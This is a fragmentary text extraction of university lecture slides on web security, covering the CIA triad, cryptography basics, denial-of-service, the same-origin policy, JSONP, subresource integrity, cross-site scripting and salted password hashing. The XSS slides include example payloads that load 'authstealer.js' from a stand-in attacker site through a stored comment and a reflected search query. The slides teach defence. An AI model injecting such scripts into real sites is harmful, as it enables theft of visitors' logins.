CS/COE 1520 pitt.edu/~ach54/cs1520 Web security Security basics: - - PowerPoint PPT Presentation
CS/COE 1520 pitt.edu/~ach54/cs1520 Web security Security basics: CIA Confidentiality Keeping information secret from those who should not be able to see it Integrity Two portions: Data integrity: has the content of
pitt.edu/~ach54/cs1520
○ Keeping information secret from those who should not be able to see it
○ Two portions: ■ Data integrity: has the content of the data been modified? ■ Origin integrity: can you verify the source of the data?
○ Can you access the information? ○ Denial of service attacks attack availability
2
3
○ Threat modelling is the process of identifying threats in your system that you will aim to protect against ○ Generally, you can call the entity that you will protect against an adversary
4
5
Request Response
○ A secret key is used to encrypt messages ○ Anyone who knows the secret can read the message ○ E.g., AES
○ Anyone can encrypt a message such that only Bob can read it ○ E.g., RSA
○ Anyone can verify that Bob sent a message ○ E.g., RSA
○ Should be collision-resistant (among other properties…) ○ E.g., SHA-256
6
○ Send partial request to server ○ Just before timeout, send more of a partial request ○ Never complete a request ○ Exhaust server resources to handle new requests
○ DDoS: Distributed Denial of Service ○ Have thousands of machines send requests to the server to exhaust its resources to handle new requests ■ Botnets have historically been used to execute such attacks
7
another webpage if they share the same origin
○ E.g., ■ script from example_a.com/one can access:
■ It should not access:
8
9
ex_a.com
○ Can't use AJAX ■ Violates same-origin policy on scripts ○ Use the <script> tag and some clever h4x: ■
<script "application/javascript" src="ex_b.com/r1"> </script>
○ Except, ex_b.com/r1 will return JSON, not JS… ■ E.g., {"type": "resource", "name": "r1"} ○ So set source as follows: ■ "ex_b.com/r1?callback=parseResponse"
○ Now this is JS!
■ Issues with this approach?
10
11
not modified
set to a hash of the resource
○ <script src="https://code.jquery.com/jquery-3.4.1.js" integrity="sha256-WpOohJOqMqqyKL9FccASB9O0KwACQJpFT UBLTYOVvVU=" crossorigin="anonymous"></script>
fetched resource
12
○ Consider the comments section of an article on news.example.com ○ Mallory notices that she can add HTML to her comments to change how they are displayed ■ E.g., adding <em></em> will render parts of her comments at emphasized for readers of the article ○ What happens when Mallory posts the following comment: ■ I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
13
"puppies", the following happens:
○ She taken to the page example.com/?q=puppies ○ She is show a page that simply says "puppies not found!"
<script src="http://mallorysevilsite.com/authstealer.js"> </script>?
14
15
password
○ Why? ○ So how can they log in? ■ Store hashes of the password! ○ If you ever click "forgot password" on a site, and they email you back your password, don't trust that site!
16
○
I.e., where should SHA256(user_pass) be run?
■
On the server side?
■
On the client side in JS?
17
○ For every user, generate a random number ■ Using a cryptographically secure random number generator! ■ This is the salt ○ Generate hashes for that user as the supplied password concatenated with the salt ■ Why?
18
Use a trusted and tested library. For password storage, use bcrypt